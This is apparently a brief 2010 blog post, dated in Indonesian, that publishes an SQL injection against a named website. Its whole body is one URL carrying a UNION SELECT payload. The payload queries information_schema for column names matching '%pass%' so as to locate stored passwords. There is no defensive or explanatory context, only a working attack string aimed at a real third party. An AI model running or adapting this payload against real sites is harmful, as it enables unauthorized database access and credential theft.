Selasa, 22 Juni 2010

Sql injection in http://winsysnetworks.ne

http://winsysnetworks.net/index.php?module=full_news&id=8+union+select+1,concat(column_name,0x3e,table_schema,0x3e,table_name),3,4+from+information_schema.columns+where+column_name%20+like+CHAR(37,%20112,%2097,%20115,%20115,%2037)